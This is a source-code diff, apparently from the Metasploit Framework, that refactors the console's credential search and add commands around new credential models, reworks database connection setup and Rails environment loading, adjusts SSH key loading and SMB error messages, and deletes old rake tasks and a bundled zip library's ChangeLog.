:delete else # Anything that wasn't an option is a host to search for unless (arg_host_range(arg, host_ranges)) @@ -779,33 +813,13 @@ class Db end end - if mode == :add - if port_ranges.length != 1 or port_ranges.first.length != 1 - print_error("Exactly one port required") - return - end - port = port_ranges.first.first - host_ranges.each do |range| - range.each do |host| - cred = framework.db.find_or_create_cred( - :host => host, - :port => port, - :user => (user == "NULL" ? nil : user), - :pass => (pass == "NULL" ? nil : pass), - :type => ptype, - :sname => service, - :active => true - ) - print_status("Time: #{cred.updated_at} Credential: host=#{cred.service.host.address} port=#{cred.service.port} proto=#{cred.service.proto} sname=#{cred.service.name} type=#{cred.ptype} user=#{cred.user} pass=#{cred.pass} active=#{cred.active}") - end - end - return - end - # If we get here, we're searching. Delete implies search if user user_regex = Regexp.compile(user) end + if pass + pass_regex = Regexp.compile(pass) + end # normalize ports = port_ranges.flatten.uniq @@ -815,91 +829,130 @@ class Db 'Columns' => cred_table_columns } - tbl_opts.merge!( - 'ColProps' => { - 'pass' => { 'MaxChar' => 64 }, - 'proof' => { 'MaxChar' => 56 } - } - ) if search_term.nil? tbl = Rex::Ui::Text::Table.new(tbl_opts) - creds_returned = 0 - inactive_count = 0 - # Now do the actual search - framework.db.each_cred(framework.db.workspace) do |cred| - # skip if it's inactive and user didn't ask for all - if !cred.active && !inactive_ok - inactive_count += 1 - next - end + ::ActiveRecord::Base.connection_pool.with_connection { + query = Metasploit::Credential::Core.where( + workspace_id: framework.db.workspace, + ) - if search_term - next unless cred.attribute_names.any? { |a| cred[a.intern].to_s.match(search_term) } - end - # Also skip if the user is searching for something and this - # one doesn't match - includes = false - host_ranges.map do |rw| - includes = rw.include? cred.service.host.address - break if includes - end - next unless host_ranges.empty? or includes + query.each do |core| - # Same for ports - next unless ports.empty? or ports.include? cred.service.port + # Exclude creds that don't match the given user + if user_regex.present? && !core.public.username.match(user_regex) + next + end - # Same for service names - next unless svcs.empty? or svcs.include?(cred.service.name) + # Exclude creds that don't match the given pass + if pass_regex.present? && !core.private.data.match(pass_regex) + next + end - if user_regex - next unless user_regex.match(cred.user) - end + if core.logins.empty? + # Skip cores that don't have any logins if the user specified a + # filter based on host, port, or service name + next if host_ranges.any? || ports.any? || svcs.any? - row = cred_table_columns.map do |col| - case col - when 'host' - cred.service.host.address - when 'port' - cred.service.port - when 'type' - cred.ptype + tbl << [ + "", # host + "", # port + core.public, + core.private, + core.realm, + core.private ? core.private.class.model_name.human : "", + ] else - cred.send(col.intern) + core.logins.each do |login| + if svcs.present? && !svcs.include?(login.service.name) + next + end + + if ports.present? && !ports.include?(login.service.port) + next + end + + # If none of this Core's associated Logins is for a host within + # the user-supplied RangeWalker, then we don't have any reason to + # print it out. However, we treat the absence of ranges as meaning + # all hosts. + if host_ranges.present? && !host_ranges.any? { |range| range.include?(login.service.host.address) } + next + end + row = [ login.service.host.address ] + if login.service.name.present? + row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})" + else + row << "#{login.service.port}/#{login.service.proto}" + end + + row += [ + core.public, + core.private, + core.realm, + core.private ? core.private.class.model_name.human : "", + ] + tbl << row + end + end + if mode == :delete + core.destroy + delete_count += 1 end end - tbl << row - if mode == :delete - cred.destroy - delete_count += 1 - end - if set_rhosts - addr = (cred.service.host.scope ? cred.service.host.address + '%' + cred.service.host.scope : cred.service.host.address ) - rhosts << addr - end - creds_returned += 1 - end - - print_line - if output_file.nil? print_line(tbl.to_s) - if !inactive_ok && inactive_count > 0 - # Then we're not printing the inactive ones. Let the user know - # that there are some they are not seeing and how to get at - # them. - print_line "Also found #{inactive_count} inactive creds (`creds all` to list them)" - print_line - end - else - # create the output file - ::File.open(output_file, "wb") { |f| f.write(tbl.to_csv) } - print_status("Wrote services to #{output_file}") + print_status("Deleted #{delete_count} creds") if delete_count > 0 + } + end + + # + # Can return return active or all, on a certain host or range, on a + # certain port or range, and/or on a service name. + # + def cmd_creds(*args) + return unless active? + + # Short-circuit help + if args.delete "-h" + cmd_creds_help + return end - set_rhosts_from_addrs(rhosts.uniq) if set_rhosts + subcommand = args.shift + case subcommand + when "add-ntlm" + creds_add_ntlm_hash(*args) + when "add-password" + creds_add_password(*args) + when "add-hash" + creds_add_non_replayable_hash(*args) + when "add-ssh-key" + creds_add_ssh_key(*args) + else + # then it's not actually a subcommand + args.unshift(subcommand) if subcommand + creds_search(*args) + end - print_status("Deleted #{delete_count} credentials") if delete_count > 0 - } + end + + def cmd_creds_tabs(str, words) + case words.length + when 1 + # subcommands + tabs = [ 'add-ntlm', 'add-password', 'add-hash', 'add-ssh-key', ] + when 2 + tabs = if words[1] == 'add-ssh-key' + tab_complete_filenames(str, words) + else + [] + end + #when 5 + # tabs = Metasploit::Model::Realm::Key::SHORT_NAMES.keys + else + tabs = [] + end + return tabs end def cmd_notes_help @@ -1139,8 +1192,8 @@ class Db info = args.shift if(!info) print_error("Can't make loot with no info") - return - end + return + end when '-t' typelist = args.shift if(!typelist) @@ -1188,8 +1241,8 @@ class Db range.each do |host| file = File.open(filename, "rb") contents = file.read - lootfile = framework.db.find_or_create_loot(:type => type, :host => host,:info => info, :data => contents,:path => filename,:name => name) - print_status("Added loot #{host}") + lootfile = framework.db.find_or_create_loot(:type => type, :host => host, :info => info, :data => contents, :path => filename, :name => name) + print_status("Added loot for #{host} (#{lootfile})") end end return @@ -1345,7 +1398,7 @@ class Db def cmd_db_import(*args) return unless active? ::ActiveRecord::Base.connection_pool.with_connection { - if (args.include?("-h") or not (args and args.length > 0)) + if args.include?("-h") || ! (args && args.length > 0) cmd_db_import_help return end @@ -1408,8 +1461,8 @@ class Db next rescue REXML::ParseException => e print_error("Failed to import #{filename} due to malformed XML:") - print_error("#{$!.class}: #{$!}") - elog("Failed to import #{filename}: #{$!.class}: #{$!}") + print_error("#{e.class}: #{e}") + elog("Failed to import #{filename}: #{e.class}: #{e}") dlog("Call stack: #{$@.join("\n")}", LEV_3) next end @@ -1577,7 +1630,8 @@ class Db # def cmd_db_status(*args) return if not db_check_driver - if ::ActiveRecord::Base.connected? + + if framework.db.connection_established? cdb = "" ::ActiveRecord::Base.connection_pool.with_connection { |conn| if conn.respond_to? :current_database @@ -1710,7 +1764,6 @@ class Db end def db_find_tools(tools) - found = true missed = [] tools.each do |name| if(! Rex::FileUtils.find_full_path(name)) diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index da814689a4..48acab5890 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -179,50 +179,60 @@ class Driver < Msf::Ui::Driver end end - # Look for our database configuration in the following places, in order: - # command line arguments - # environment variable - # configuration directory (usually ~/.msf3) - dbfile = opts['DatabaseYAML'] - dbfile ||= ENV["MSF_DATABASE_CONFIG"] - dbfile ||= File.join(Msf::Config.get_config_root, "database.yml") - if (dbfile and File.exists? dbfile) - if File.readable?(dbfile) - dbinfo = YAML.load(File.read(dbfile)) - dbenv = opts['DatabaseEnv'] || "production" - db = dbinfo[dbenv] - else - print_error("Warning, #{dbfile} is not readable. Try running as root or chmod.") - end - if not db - print_error("No database definition for environment #{dbenv}") - else - if not framework.db.connect(db) - if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i - print_error("***") - print_error("*") - print_error("* Metasploit now requires version 0.11 or higher of the 'pg' gem for database support") - print_error("* There a three ways to accomplish this upgrade:") - print_error("* 1. If you run Metasploit with your system ruby, simply upgrade the gem:") - print_error("* $ rvmsudo gem install pg ") - print_error("* 2. Use the Community Edition web interface to apply a Software Update") - print_error("* 3. Uninstall, download the latest version, and reinstall Metasploit") - print_error("*") - print_error("***") - print_error("") - print_error("") - end + if framework.db.connection_established? + framework.db.after_establish_connection + else + # Look for our database configuration in the following places, in order: + # command line arguments + # environment variable + # configuration directory (usually ~/.msf3) + dbfile = opts['DatabaseYAML'] + dbfile ||= ENV["MSF_DATABASE_CONFIG"] + dbfile ||= File.join(Msf::Config.get_config_root, "database.yml") - print_error("Failed to connect to the database: #{framework.db.error}") + if (dbfile and File.exists? dbfile) + if File.readable?(dbfile) + dbinfo = YAML.load(File.read(dbfile)) + dbenv = opts['DatabaseEnv'] || Rails.env + db = dbinfo[dbenv] else - self.framework.modules.refresh_cache_from_database + print_error("Warning, #{dbfile} is not readable. Try running as root or chmod.") + end - if self.framework.modules.cache_empty? - print_status("The initial module cache will be built in the background, this can take 2-5 minutes...") - end + if not db + print_error("No database definition for environment #{dbenv}") + else + framework.db.connect(db) end end end + + # framework.db.active will be true if after_establish_connection ran directly when connection_established? was + # already true or if framework.db.connect called after_establish_connection. + if framework.db.active + self.framework.modules.refresh_cache_from_database + + if self.framework.modules.cache_empty? + print_status("The initial module cache will be built in the background, this can take 2-5 minutes...") + end + elsif !framework.db.error.nil? + if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i + print_error("***") + print_error("*") + print_error("* Metasploit now requires version 0.11 or higher of the 'pg' gem for database support") + print_error("* There a three ways to accomplish this upgrade:") + print_error("* 1. If you run Metasploit with your system ruby, simply upgrade the gem:") + print_error("* $ rvmsudo gem install pg ") + print_error("* 2. Use the Community Edition web interface to apply a Software Update") + print_error("* 3. Uninstall, download the latest version, and reinstall Metasploit") + print_error("*") + print_error("***") + print_error("") + print_error("") + end + + print_error("Failed to connect to the database: #{framework.db.error}") + end end # Initialize the module paths only if we didn't get passed a Framework instance diff --git a/lib/msfenv.rb b/lib/msfenv.rb index e8dcf684f4..7a4f480830 100644 --- a/lib/msfenv.rb +++ b/lib/msfenv.rb @@ -2,31 +2,18 @@ # Use bundler to load dependencies # -GEMFILE_EXTENSIONS = [ - '.local', - '' -] +# Override the normal rails default, so that msfconsole will come up in production mode instead of development mode +# unless the `--environment` flag is passed. +ENV['RAILS_ENV'] ||= 'production' -unless ENV['BUNDLE_GEMFILE'] - require 'pathname' +require 'pathname' +root = Pathname.new(__FILE__).expand_path.parent.parent +config = root.join('config') +require config.join('boot') - msfenv_real_pathname = Pathname.new(__FILE__).realpath - root = msfenv_real_pathname.parent.parent - - GEMFILE_EXTENSIONS.each do |extension| - extension_pathname = root.join("Gemfile#{extension}") - - if extension_pathname.readable? - ENV['BUNDLE_GEMFILE'] ||= extension_pathname.to_path - break - end - end -end - -begin - require 'bundler/setup' -rescue ::LoadError - $stderr.puts "[*] Metasploit requires the Bundler gem to be installed" - $stderr.puts " $ gem install bundler" - exit(0) +# Requiring environment will define the Metasploit::Framework::Application as the one and only Rails::Application in +# this process and cause an error if a Rails.application is already defined, such as when loading msfenv through +# msfconsole in Metasploit Pro. +unless defined?(Rails) && !Rails.application.nil? + require config.join('environment') end diff --git a/lib/net/ssh/key_factory.rb b/lib/net/ssh/key_factory.rb index e416e622c6..9d5d461aec 100644 --- a/lib/net/ssh/key_factory.rb +++ b/lib/net/ssh/key_factory.rb @@ -35,9 +35,9 @@ module Net; module SSH # appropriately. The new key is returned. If the key itself is # encrypted (requiring a passphrase to use), the user will be # prompted to enter their password unless passphrase works. - def load_private_key(filename, passphrase=nil) + def load_private_key(filename, passphrase=nil, ask_passphrase=true) data = File.open(File.expand_path(filename), "rb") {|f| f.read(f.stat.size)} - load_data_private_key(data, passphrase, filename) + load_data_private_key(data, passphrase, ask_passphrase, filename) end # Loads a private key. It will correctly determine @@ -45,7 +45,7 @@ module Net; module SSH # appropriately. The new key is returned. If the key itself is # encrypted (requiring a passphrase to use), the user will be # prompted to enter their password unless passphrase works. - def load_data_private_key(data, passphrase=nil, filename="") + def load_data_private_key(data, passphrase=nil, ask_passphrase= true, filename="") if data.match(/-----BEGIN DSA PRIVATE KEY-----/) key_type = OpenSSL::PKey::DSA elsif data.match(/-----BEGIN RSA PRIVATE KEY-----/) @@ -62,7 +62,7 @@ module Net; module SSH begin return key_type.new(data, passphrase || 'invalid') rescue OpenSSL::PKey::RSAError, OpenSSL::PKey::DSAError => e - if encrypted_key + if encrypted_key && ask_passphrase tries += 1 if tries <= 3 passphrase = prompt("Enter passphrase for #{filename}:", false) diff --git a/lib/rex/proto/smb/exceptions.rb b/lib/rex/proto/smb/exceptions.rb index c7d1a99315..bc8f769836 100644 --- a/lib/rex/proto/smb/exceptions.rb +++ b/lib/rex/proto/smb/exceptions.rb @@ -739,11 +739,15 @@ class Error < ::RuntimeError # returns an error string if it exists, otherwise just the error code def get_error(error) string = '' - if @@errors[error] + if error && @@errors[error] string = @@errors[error] - else + elsif error string = sprintf('0x%.8x',error) + else + string = "Unknown error" end + + string end end @@ -781,6 +785,10 @@ class InvalidPacket < Error attr_accessor :word_count attr_accessor :command attr_accessor :error_code + + def error_name + get_error(error_code) + end end class InvalidWordCount < InvalidPacket @@ -807,7 +815,7 @@ end class ErrorCode < InvalidPacket def to_s 'The server responded with error: ' + - self.get_error(self.error_code) + + self.error_name + " (Command=#{self.command} WordCount=#{self.word_count})" end end diff --git a/lib/rex/ui/text/table.rb b/lib/rex/ui/text/table.rb index ca1c3ec5d3..0cbb315494 100644 --- a/lib/rex/ui/text/table.rb +++ b/lib/rex/ui/text/table.rb @@ -275,9 +275,9 @@ protected nameline << pad(' ', last_col, last_idx) remainder = colprops[last_idx]['MaxWidth'] - last_col.length - if (remainder < 0) - remainder = 0 - end + if (remainder < 0) + remainder = 0 + end barline << (' ' * (cellpad + remainder)) end nameline << col @@ -305,7 +305,7 @@ protected last_cell = nil last_idx = nil row.each_with_index { |cell, idx| - if (last_cell) + if (idx != 0) line << pad(' ', last_cell.to_s, last_idx) end # line << pad(' ', cell.to_s, idx) diff --git a/lib/tasks/database.rake b/lib/tasks/database.rake deleted file mode 100644 index 646db409ff..0000000000 --- a/lib/tasks/database.rake +++ /dev/null @@ -1,73 +0,0 @@ -load 'active_record/railties/databases.rake' - -require 'metasploit/framework' -require 'metasploit/framework/database' - -# A modification to remove dependency on Rails.env -# -# @see https://github.com/rails/rails/blob/ddce29bfa12462fde2342a0c2bd0eefd420c0eab/activerecord/lib/active_record/railties/databases.rake#L550 -def configs_for_environment - environments = [Metasploit::Framework.env] - - if Metasploit::Framework.env.development? - environments << 'test' - end - - environment_configurations = ActiveRecord::Base.configurations.values_at(*environments) - present_environment_configurations = environment_configurations.compact - valid_environment_configurations = present_environment_configurations.reject { |config| - config['database'].blank? - } - - valid_environment_configurations -end - -# emulate initializer "active_record.initialize_database" from active_record/railtie -ActiveSupport.on_load(:active_record) do - self.configurations = Metasploit::Framework::Database.configurations - puts "Connecting to database specified by #{Metasploit::Framework::Database.configurations_pathname}" - - spec = configurations[Metasploit::Framework.env] - establish_connection(spec) -end - -# -# Remove tasks that aren't supported -# - -Rake::TaskManager.class_eval do - def remove_task(task_name) - @tasks.delete(task_name.to_s) - end -end - -Rake.application.remove_task('db:fixtures:load') - -# completely replace db:load_config and db:seed as they will attempt to use -# Rails.application, which does not exist -Rake::Task['db:load_config'].clear -Rake::Task['db:seed'].clear - -db_namespace = namespace :db do - task :load_config do - ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations - - ActiveRecord::Migrator.migrations_paths = [ - # rails isn't in Gemfile, so can't use the more appropriate - # Metasploit::Engine.instance.paths['db/migrate'].to_a since using - # Metasploit::Engine requires rails. - MetasploitDataModels.root.join('db', 'migrate').to_s - ] - end - - desc 'Load the seed data from db/seeds.rb' - task :seed do - db_namespace['abort_if_pending_migrations'].invoke - seeds_pathname = Metasploit::Framework.root.join('db', 'seeds.rb') - - if seeds_pathname.exist? - load(seeds_pathname) - end - end -end - diff --git a/lib/tasks/databases.rake b/lib/tasks/databases.rake new file mode 100644 index 0000000000..f75cd735ee --- /dev/null +++ b/lib/tasks/databases.rake @@ -0,0 +1,7 @@ +namespace :db do + # Add onto the task so that after adding Rails.application.paths['db/migrate'] + task :load_config do + # It's important to call to_a or the paths will just be relative and not realpaths + ActiveRecord::Migrator.migrations_paths += Metasploit::Credential::Engine.instance.paths['db/migrate'].to_a + end +end \ No newline at end of file diff --git a/lib/tasks/rails.rake b/lib/tasks/rails.rake deleted file mode 100644 index bcb90975aa..0000000000 --- a/lib/tasks/rails.rake +++ /dev/null @@ -1,21 +0,0 @@ -# Rake tasks added for compatibility with rake tasks that depend on a Rails -# environment, such as those in activerecord - -# Would normally load config/environment.rb of the rails application. -# -# @see https://github.com/rails/rails/blob/e2908356672d4459ada0064f773efd820efda822/railties/lib/rails/application.rb#L190 -task :environment do - # ensures that Mdm models are available for migrations which use the models - MetasploitDataModels.require_models - - # avoids the need for Rails.root in db:schema:dump - schema_pathname = Metasploit::Framework.root.join('db', 'schema.rb') - ENV['SCHEMA'] = schema_pathname.to_s -end - -# This would normally default RAILS_ENV to development if ENV['RAILS_ENV'] is -# not set -# -# @see https://github.com/rails/rails/blob/1a275730b290c1f06d4e8df680d22ae1b41ab585/railties/lib/rails/tasks/misc.rake#L3 -task :rails_env do -end diff --git a/lib/zip.rb b/lib/zip.rb deleted file mode 100644 index 5a89853ce1..0000000000 --- a/lib/zip.rb +++ /dev/null @@ -1 +0,0 @@ -require 'zip/zip' diff --git a/lib/zip/ChangeLog b/lib/zip/ChangeLog deleted file mode 100644 index 63bf7858f0..0000000000 --- a/lib/zip/ChangeLog +++ /dev/null @@ -1,1146 +0,0 @@ -2010-01-01 13:43 thomas - - * NEWS, lib/zip/zip.rb, test/ziptest.rb: Changed - ZipOutputStream.put_next_entry to make it possible to specifiy - comments, extra field and compression method. - -2009-12-31 16:25 thomas - - * Rakefile: Updated publish method. - -2009-11-27 22:59 thomas - - * NEWS, lib/zip/zip.rb: Bumped micro number and updated NEWS file. - - * lib/zip/zip.rb: Provide convenience methods for retrieving name - and comments in character encoding of choice (pending ruby - character String class). - -2009-04-05 12:28 thomas - - * install.rb, lib/zip/zip.rb, samples/example_filesystem.rb, - test/zipfilesystemtest.rb, test/ziptest.rb: Applied ruby-1.9 - compatibility patch from Yuya Nishida. - -2008-08-26 20:49 thomas - - * lib/zip/zip.rb: Rewrote fix for rename bug. - -2008-08-24 14:34 thomas - - * lib/zip/zip.rb, test/ziptest.rb: Refixed rename to avoid - decompressing and recompressing entry. - -2008-08-24 11:43 drylight - - * NEWS, README, Rakefile, lib/zip/zip.rb: Update version number and - minor release note changes. - - * NEWS, README, lib/zip/zip.rb, test/ziptest.rb: Fixed: Renaming an - entry failed if the entry's new name was a different length than - its old name. - -2006-12-24 11:42 thomas - - * lib/zip/: ioextras.rb, zip.rb: Added IOExtras.copy_stream_n and - used it to avoid loading large entries into memory when copying - from one stream to another. - -2006-12-17 15:03 thomas - - * lib/zip/zip.rb: Bug 1614537 Version needed to extract set. - -2006-11-21 09:12 thomas - - * lib/zip/zipfilesystem.rb, test/zipfilesystemtest.rb: Bug 1600222 - Fixed it so ZipFsFile#open accepts and ignores b(inary) option. - -2006-09-05 22:53 thomas - - * test/zipfilesystemtest.rb: Avoid warnings while running tests. - -2006-08-04 19:56 technorama - - * lib/zip/zip.rb: bugfix: :link -> :symlink - -2006-07-01 10:04 thomas - - * Rakefile: Don't autorequire zip/zip - autorequire is deprecated. - -2006-06-30 09:28 thomas - - * Rakefile: [no log message] - - * NEWS, lib/zip/zip.rb: Bumped version number and reformatted NEWS - a bit. - -2006-06-29 22:49 technorama - - * lib/zip/zip.rb, NEWS: documentation additions - -2006-04-30 06:25 technorama - - * TODO, lib/zip/zip.rb, test/ziptest.rb: add documentation and test - for new ZipFile::extract - - * lib/zip/zip.rb: add some of the API suggestions from sf.net - #1281314 - - * lib/zip/zip.rb: apply patch for bug #1446926 - - * lib/zip/zip.rb: apply patch for bug #1459902 - -2006-04-26 17:17 technorama - - * lib/zip/zip.rb: add ZipFile @restore_*, documentation update - -2006-04-07 21:13 technorama - - * test/: gentestfiles.rb, zipfilesystemtest.rb, ziptest.rb: - additional tests - -2006-03-28 04:11 technorama - - * lib/zip/zip.rb: start of unix_uid, unix_gid, restore_* support - - * lib/zip/zip.rb: follow_symlinks is now optional - - * lib/zip/zip.rb: add eof? methods - - * test/ziptest.rb: eof? tests - -2006-02-26 09:57 technorama - - * README: add to authors - - * TODO: [no log message] - -2006-02-25 12:04 thomas - - * lib/zip/zip.rb, test/ziptest.rb: Did away with ZipStreamableFile. - -2006-02-23 08:03 technorama - - * lib/zip/zip.rb: unix file permissions. symlink support. rework - ZipEntry and delegate classes. reduce memory usage during - decompression. - -2006-02-22 23:44 technorama - - * lib/zip/zipfilesystem.rb: update permissionInt for mkdir - -2006-02-04 10:42 thomas - - * lib/zip/: ioextras.rb, zip.rb: Merged patch from oss-ruby. - -2005-11-19 16:17 thomas - - * lib/zip/zip.rb: [no log message] - -2005-11-08 08:23 thomas - - * lib/zip/ioextras.rb: Accepted patch from oss-ruby - -2005-10-07 09:54 thomas - - * TODO: [no log message] - -2005-09-06 21:19 thomas - - * lib/zip/zip.rb: [no log message] - - * NEWS: [no log message] - - * lib/zip/zip.rb, test/gentestfiles.rb, test/ziptest.rb: Fixed - problem on windows - tempfile has to be set to binmode again when - it is reopened - -2005-09-04 16:45 thomas - - * Rakefile: [no log message] - - * TODO: [no log message] - - * test/ziptest.rb: [no log message] - -2005-09-03 10:27 thomas - - * NEWS: [no log message] - - * TODO, lib/zip/zip.rb: [no log message] - - * lib/zip/ioextras.rb, lib/zip/zip.rb, test/ziptest.rb: Merged - patch from oss-ruby at technorama.net - - * test/ziptest.rb: Added failing test that shows that read and gets - don't mix currently - -2005-08-29 08:50 thomas - - * lib/zip/: ioextras.rb, zip.rb: [no log message] - - * NEWS, lib/zip/zip.rb: [no log message] - - * lib/zip/zip.rb: [no log message] - - * lib/zip/zip.rb: [no log message] - -2005-08-07 14:27 thomas - - * lib/zip/zip.rb, NEWS: [no log message] - -2005-08-06 11:12 thomas - - * lib/zip/: ioextras.rb, zip.rb: [no log message] - -2005-08-03 18:54 thomas - - * lib/zip/zip.rb: Read/write in chunks to preserve memory - -2005-07-02 15:08 thomas - - * lib/zip/zip.rb: Applied received patch concerning FreeBSD 4.5 - issue - -2005-04-03 16:52 thomas - - * samples/.cvsignore: [no log message] - - * samples/: qtzip.rb, zipdialogui.ui: Added a qt example - -2005-03-31 21:58 thomas - - * lib/zip/zip.rb, test/ziptest.rb: [no log message] - - * test/zipfilesystemtest.rb: [no log message] - -2005-03-17 18:17 thomas - - * Rakefile: [no log message] - - * NEWS, README, lib/zip/zip.rb: [no log message] - - * install.rb: Fixed install.rb - -2005-03-03 18:38 thomas - - * Rakefile: [no log message] - -2005-02-27 16:23 thomas - - * lib/zip/ziprequire.rb: Added documentation to ziprequire - - * README, TODO, lib/zip/ziprequire.rb: Added documentation to - ziprequire - - * Rakefile, test/ziptest.rb: [no log message] - -2005-02-19 21:30 thomas - - * lib/zip/ioextras.rb, lib/zip/stdrubyext.rb, - lib/zip/tempfile_bugfixed.rb, lib/zip/zip.rb, - lib/zip/ziprequire.rb, test/ioextrastest.rb, - test/stdrubyexttest.rb, test/zipfilesystemtest.rb, - test/ziprequiretest.rb, test/ziptest.rb: Added more rdoc and - changed the remaining tests to Test::Unit - - * lib/zip/: ioextras.rb, zip.rb: Added documentation to - ZipInputStream and ZipOutputStream - -2005-02-18 10:27 thomas - - * README: [no log message] - -2005-02-17 23:21 thomas - - * README, Rakefile: Added ppackage (publish package) task to - Rakefile - - * README, Rakefile, TODO: Added pdoc (publish doc) task to Rakefile - - * README, Rakefile, TODO, lib/zip/stdrubyext.rb, lib/zip/zip.rb, - lib/zip/zipfilesystem.rb: Added a bunch of documentation - - * test/ziptest.rb: [no log message] - -2005-02-16 20:04 thomas - - * NEWS, README, Rakefile: Improved documentation and added rdoc - task to Rakefile - - * NEWS, Rakefile, lib/zip/zip.rb: [no log message] - - * Rakefile, samples/example.rb, samples/example_filesystem.rb, - samples/gtkRubyzip.rb, samples/write_simple.rb, - samples/zipfind.rb, test/.cvsignore, test/gentestfiles.rb: - Improvements to Rakefile - -2005-02-15 23:35 thomas - - * NEWS, TODO: [no log message] - - * Rakefile, rubyzip.gemspec: Now uses Rake to build gem - - * Rakefile: [no log message] - - * lib/zip/zip.rb, test/.cvsignore, test/ziptest.rb, NEWS: Fixed - compatibility issue with ruby 1.8.2. Migrated test suite to - Test::Unit - - * NEWS, lib/zip/ioextras.rb, lib/zip/stdrubyext.rb, - lib/zip/tempfile_bugfixed.rb, lib/zip/zip.rb, - lib/zip/zipfilesystem.rb, lib/zip/ziprequire.rb, test/.cvsignore, - test/file1.txt, test/file1.txt.deflatedData, test/file2.txt, - test/gentestfiles.rb, test/ioextrastest.rb, - test/notzippedruby.rb, test/rubycode.zip, test/rubycode2.zip, - test/stdrubyexttest.rb, test/testDirectory.bin, - test/zipWithDirs.zip, test/zipfilesystemtest.rb, - test/ziprequiretest.rb, test/ziptest.rb, test/data/.cvsignore, - test/data/file1.txt, test/data/file1.txt.deflatedData, - test/data/file2.txt, test/data/notzippedruby.rb, - test/data/rubycode.zip, test/data/rubycode2.zip, - test/data/testDirectory.bin, test/data/zipWithDirs.zip: Changed - directory structure - -2005-02-13 22:44 thomas - - * Rakefile, TODO: [no log message] - - * rubyzip.gemspec: [no log message] - - * install.rb: Made install.rb independent of the current path - (fixes bug reported by Drew Robinson) - -2004-12-12 11:22 thomas - - * NEWS, TODO, samples/write_simple.rb: Fixed 'version needed to - extract'-field wrong in local headers - -2004-05-02 15:17 thomas - - * rubyzip.gemspec: Added gemspec contributed by Chad Fowler - -2004-04-02 07:25 thomas - - * NEWS: Fix for FreeBSD 4.9 - -2004-03-29 00:28 thomas - - * NEWS: [no log message] - -2004-03-28 17:59 thomas - - * NEWS: [no log message] - -2004-03-27 16:09 thomas - - * test/stdrubyexttest.rb: Patch for stdrubyext.rb from Nobu Nakada - - * test/: ioextrastest.rb, stdrubyexttest.rb: converted some files - to unix line-endings - -2004-03-25 16:34 thomas - - * NEWS, install.rb: Significantly reduced memory footprint when - modifying zip files - -2004-03-16 18:20 thomas - - * install.rb, test/alltests.rb, test/ioextrastest.rb, - test/stdrubyexttest.rb, test/ziptest.rb: IO utility classes moved - to new file ioextras.rb. Tests moved to new file ioextrastest.rb - -2004-02-27 13:21 thomas - - * NEWS: Optimization to avoid decompression and recompression - -2004-01-30 16:17 thomas - - * NEWS: [no log message] - - * README, test/zipfilesystemtest.rb, test/ziptest.rb: Applied - extra-field patch - -2003-12-13 16:57 thomas - - * TODO: [no log message] - -2003-12-10 00:25 thomas - - * test/ziptest.rb: (Temporary) fix to bug reported by Takashi Sano - -2003-08-23 09:42 thomas - - * test/ziptest.rb, NEWS: Fixed ZipFile.get_ouput_stream bug - data - was never written to zip - -2003-08-21 16:05 thomas - - * install.rb: [no log message] - - * alltests.rb, stdrubyexttest.rb, zipfilesystemtest.rb, - ziprequiretest.rb, ziptest.rb, test/alltests.rb, - test/stdrubyexttest.rb, test/zipfilesystemtest.rb, - test/ziprequiretest.rb, test/ziptest.rb: Moved all test ruby - files to test/ - - * NEWS, install.rb, stdrubyext.rb, stdrubyexttest.rb, zip.rb, - zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb, - ziprequiretest.rb, ziptest.rb, samples/example.rb, - samples/example_filesystem.rb, samples/gtkRubyzip.rb, - samples/zipfind.rb: Moved all production source files to zip/ so - they are in the same dir as when they are installed - - * NEWS, TODO, alltests.rb: [no log message] - - * filearchive.rb, filearchivetest.rb, fileutils.rb: Removed - filearchive.rb, filearchivetest.rb and fileutils.rb - - * samples/.cvsignore, samples/example_filesystem.rb, zip.rb, - samples/example_filesystem.rb: Added - samples/example_filesystem.rb. Fixed Tempfile creation for - entries created with get_output_stream where entries were in a - subdirectory - - * zip.rb, ziptest.rb: Fixed mkdir bug. ZipFile.mkdir didn't work if - the zipfile doesn't exist already - - * ziptest.rb: [no log message] - - * TODO, zipfilesystemtest.rb: Globbing test placeholder commented - out - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsDir.new - and open - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented DirFsIterator - and tests - -2003-08-20 22:50 thomas - - * NEWS, TODO: [no log message] - - * zipfilesystemtest.rb: [no log message] - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsDir.foreach, ZipFsDir.entries now reimplemented in terms of - it - - * README: [no log message] - - * zipfilesystem.rb, zipfilesystemtest.rb: [no log message] - - * zipfilesystem.rb: All access from ZipFsFile and ZipFsDir to - ZipFile is now routed through ZipFileNameMapper which has the - single responsibility of mapping entry/filenames - - * alltests.rb, stdrubyext.rb, stdrubyexttest.rb: Added - stdrubyexttest.rb and added test test_select_map - - * zipfilesystem.rb: ZipFsDir was in the wrong module. ZipFileSystem - now has a ctor that creates ZipFsDir and ZipFsFile instances, - instead of creating them lazily. It then passes the dir instance - to the file instance and vice versa - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: ZipFsFile.open - honours chdir - - * stdrubyext.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, - ziptest.rb: Fixed ZipEntry::parent_as_string. Implemented - ZipFsDir.chdir, pwd and entries including test - -2003-08-19 15:44 thomas - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsDir.mkdir - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsDir.delete (and aliases rmdir and unlink) - - * zipfilesystem.rb, zipfilesystemtest.rb: Another dummy - implementation and commented out a test for select() which can be - added later - -2003-08-18 20:40 thomas - - * ziptest.rb: Honoured 1.8.0 Object.to_a deprecation warning - - * zip.rb, ziptest.rb, samples/example.rb, samples/zipfind.rb: - Converted a few more names to ruby underscore style that I missed - with the automated processing the first time around - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, ziptest.rb: - Implemented Zip::ZipFile.get_output_stream - -2003-08-17 18:28 thomas - - * README, install.rb, stdrubyext.rb, zipfilesystem.rb, - zipfilesystemtest.rb: Updated README with Documentation section. - 